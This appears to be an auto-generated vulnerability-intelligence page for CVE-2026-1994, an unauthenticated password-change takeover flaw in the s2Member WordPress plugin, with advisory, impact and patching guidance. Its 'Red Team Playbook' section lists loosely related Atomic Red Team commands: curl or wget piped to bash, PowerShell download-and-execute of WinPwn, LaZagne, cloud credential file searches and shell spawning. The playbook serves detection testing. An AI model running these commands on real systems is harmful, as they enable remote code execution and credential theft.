CVE-2026-1994
Overview
This vulnerability is a privilege escalation caused by improper authentication validation within the s2Member WordPress plugin. Specifically, the component responsible for password updates fails to verify the identity of the requesting user before permitting password changes. This flaw resides in the password update logic of the registrations.inc.php file in versions up to and including 260127.
Vulnerability Description
The s2Member plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 260127. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.
Impact
An unauthenticated attacker can change passwords of any user account, including administrators, enabling full account takeover without needing valid credentials or user interaction. This allows unauthorized access to sensitive administrative functions and data within the WordPress environment. The vulnerability has a CVSS vector indicating network attack vector (AV:N), low attack complexity (AC:L), no privileges required (PR:N), and no user interaction (UI:N), resulting in high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
Users should upgrade the s2Member plugin to a version later than 260127 where the vulnerability is patched, as detailed in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/6c31cf92-26b7-484d-8c93-ce241d655d07). The referenced WordPress plugin changeset 3461625 includes the fix in the registrations.inc.php file. No alternative workarounds are documented; applying the official update is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the s2Member plugin for WordPress arises from inadequate validation of a user's identity during the password update process. This flaw allows unauthenticated attackers to exploit the system by changing the passwords of arbitrary users, including those with administrative privileges. The absence of a robust authentication mechanism means that an attacker can bypass security measures, leading to unauthorized access. The vulnerability exists in all versions up to and including 260127, making it critical for users of this plugin to understand the risks associated with its deployment.
Attack vectors for this vulnerability are particularly concerning due to their simplicity and effectiveness. An attacker could leverage automated scripts or tools to send crafted requests to the plugin's password update endpoint. Since the plugin fails to verify the identity of the user requesting the password change, the attacker could easily manipulate the system to gain control over any account. This exploitation scenario is not limited to low-privilege users; it extends to administrators, who typically have elevated access to sensitive areas of the WordPress site. Consequently, an attacker could not only gain access to sensitive information but also alter site configurations, install malicious code, or disrupt services.
The real-world impact of this vulnerability is profound, especially for businesses relying on the s2Member plugin for membership management and subscription services. If an attacker successfully executes a privilege escalation attack, they could compromise the integrity of user data, leading to potential data breaches. This could result in financial losses, reputational damage, and legal ramifications, particularly if sensitive user information is exposed. The high CVSS score of 9.8 underscores the severity of the risk, indicating that organizations must prioritize remediation efforts to protect their assets and maintain user trust.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to keep the s2Member plugin updated to the latest version, as developers often release patches to address known vulnerabilities. Regular security audits and vulnerability assessments can help identify weaknesses in the system, including outdated plugins. Additionally, employing web application firewalls (WAFs) can provide an additional layer of security by filtering out malicious requests before they reach the application. Implementing strong user authentication mechanisms, such as multi-factor authentication (MFA), can also significantly reduce the risk of unauthorized access.
In conclusion, the vulnerability within the s2Member plugin poses a significant threat to WordPress sites, particularly those that manage user accounts and sensitive data. The ease of exploitation and the potential for severe consequences necessitate immediate action from affected organizations. By adopting proactive detection and mitigation strategies, businesses can safeguard their environments against this and similar vulnerabilities, ensuring the security and integrity of their operations.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-58 | Restful Privilege Elevation |
35%
|
High | High | |
| CAPEC-122 | Privilege Abuse |
30%
|
High | Medium | |
| CAPEC-233 | Privilege Escalation |
30%
|
— | — |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-1994 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/6c31cf92-26b7-484d-8c93-ce241d655d07?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/s2member/tags/260127/src/includes/classes/registrations.inc.php#L74 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3461625/s2member#file5 |